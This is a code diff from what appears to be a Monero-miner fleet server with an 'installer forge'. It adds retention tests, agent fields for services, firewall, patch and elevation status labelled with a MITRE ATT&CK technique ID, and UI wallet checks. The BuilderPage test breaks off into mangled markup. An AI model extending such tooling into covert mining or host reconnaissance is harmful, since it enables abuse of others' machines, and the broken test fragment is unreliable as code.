+ insertBuild(t, d, &models.BuildRecord{
+ ID: "combo-old",
+ WorkerName: "worker",
+ ServerURL: "http://localhost",
+ Wallet: "wallet",
+ CreatedAt: time.Now().Add(-48 * time.Hour),
+ })
+
+ runRetention(d, dataDir, 24, 1)
+
+ var samples int
+ if err := d.QueryRow("SELECT COUNT(*) FROM hashrate_samples").Scan(&samples); err != nil {
+ t.Fatal(err)
+ }
+ if samples != 0 {
+ t.Fatalf("expected stats purged, got %d samples", samples)
+ }
+ if _, err := os.Stat(buildDir); !os.IsNotExist(err) {
+ t.Fatalf("expected build dir removed, stat err=%v", err)
+ }
+ _, err := d.GetBuild("combo-old")
+ if !errors.Is(err, sql.ErrNoRows) {
+ t.Fatalf("expected build removed, got %v", err)
+ }
+}
+
+func TestRetentionTickIntervalDefault(t *testing.T) {
+ if retentionTickInterval != 6*time.Hour {
+ t.Fatalf("expected default tick interval 6h, got %v", retentionTickInterval)
+ }
+}
diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go
index 1bf2d58..6d0ea08 100644
--- a/server/internal/models/agent.go
+++ b/server/internal/models/agent.go
@@ -46,10 +46,21 @@ type Agent struct {
FirewallPrivate *bool `json:"firewall_private,omitempty"`
FirewallPublic *bool `json:"firewall_public,omitempty"`
LastPatchDays *int `json:"last_patch_days,omitempty"`
- LastPatch *string `json:"last_patch,omitempty"` // ISO date YYYY-MM-DD
- PendingUpdates *int `json:"pending_updates,omitempty"` // -1 = unknown
+ LastPatch *string `json:"last_patch,omitempty"`
+ PendingUpdates *int `json:"pending_updates,omitempty"`
RebootPending *bool `json:"reboot_pending,omitempty"`
AgentElevated *bool `json:"agent_elevated,omitempty"`
+
+ // T1007 System Service Discovery — fixed allowlist only
+ Services []AgentService `json:"services,omitempty"`
+}
+
+// AgentService mirrors the ServiceStatus reported by the agent.
+type AgentService struct {
+ Name string `json:"name"`
+ DisplayName string `json:"display_name,omitempty"`
+ Status string `json:"status"`
+ StartType string `json:"start_type"`
}
// AgentCapabilities reports forge-time features available for remote command.
diff --git a/server/maintenance b/server/maintenance
new file mode 100644
index 0000000..b9c133a
--- /dev/null
+++ b/server/maintenance
@@ -0,0 +1,21 @@
+mode: set
+crypto-miner-server/internal/maintenance/retention.go:19.91,20.39 1 1
+crypto-miner-server/internal/maintenance/retention.go:20.39,22.3 1 1
+crypto-miner-server/internal/maintenance/retention.go:23.2,23.12 1 1
+crypto-miner-server/internal/maintenance/retention.go:23.12,27.22 4 1
+crypto-miner-server/internal/maintenance/retention.go:27.22,29.4 1 1
+crypto-miner-server/internal/maintenance/retention.go:33.85,34.20 1 1
+crypto-miner-server/internal/maintenance/retention.go:34.20,37.17 3 1
+crypto-miner-server/internal/maintenance/retention.go:37.17,39.4 1 1
+crypto-miner-server/internal/maintenance/retention.go:39.9,39.19 1 1
+crypto-miner-server/internal/maintenance/retention.go:39.19,41.4 1 1
+crypto-miner-server/internal/maintenance/retention.go:43.2,43.19 1 1
+crypto-miner-server/internal/maintenance/retention.go:43.19,46.17 3 1
+crypto-miner-server/internal/maintenance/retention.go:46.17,49.4 2 1
+crypto-miner-server/internal/maintenance/retention.go:50.3,50.28 1 1
+crypto-miner-server/internal/maintenance/retention.go:50.28,51.24 1 1
+crypto-miner-server/internal/maintenance/retention.go:51.24,54.5 2 1
+crypto-miner-server/internal/maintenance/retention.go:54.10,56.5 1 1
+crypto-miner-server/internal/maintenance/retention.go:57.4,57.53 1 1
+crypto-miner-server/internal/maintenance/retention.go:57.53,59.5 1 0
+crypto-miner-server/internal/maintenance/retention.go:59.10,61.5 1 1
diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx
index f36a7e6..0e0e2c3 100644
--- a/server/web/src/context/WebSocketProvider.tsx
+++ b/server/web/src/context/WebSocketProvider.tsx
@@ -126,6 +126,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
+ ...(update.services !== undefined ? { services: update.services } : {}),
}
: a
)
diff --git a/server/web/src/pages/BuilderPage.test.tsx b/server/web/src/pages/BuilderPage.test.tsx
new file mode 100644
index 0000000..d010c9f
--- /dev/null
+++ b/server/web/src/pages/BuilderPage.test.tsx
@@ -0,0 +1,157 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react';
+import userEvent from '@testing-library/user-event';
+import { MemoryRouter } from 'react-router-dom';
+import BuilderPage, { formatBytes } from './BuilderPage';
+import { ForgeProvider } from '../context/ForgeContext';
+import { mockServerConfig, mockServerInfo } from '../test/fixtures';
+import { api } from '../api/client';
+
+function renderBuilder(initialEntries = ['/forge']) {
+ return render(
+
INSTALLER FORGE
+{error || 'Failed to load forge defaults from server.'}
+- Wallet address looks short — Monero addresses are 95–106 characters starting with 4 or 8. + Wallet address looks short — Monero addresses are 90–106 characters starting with 4 or 8.
)}Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.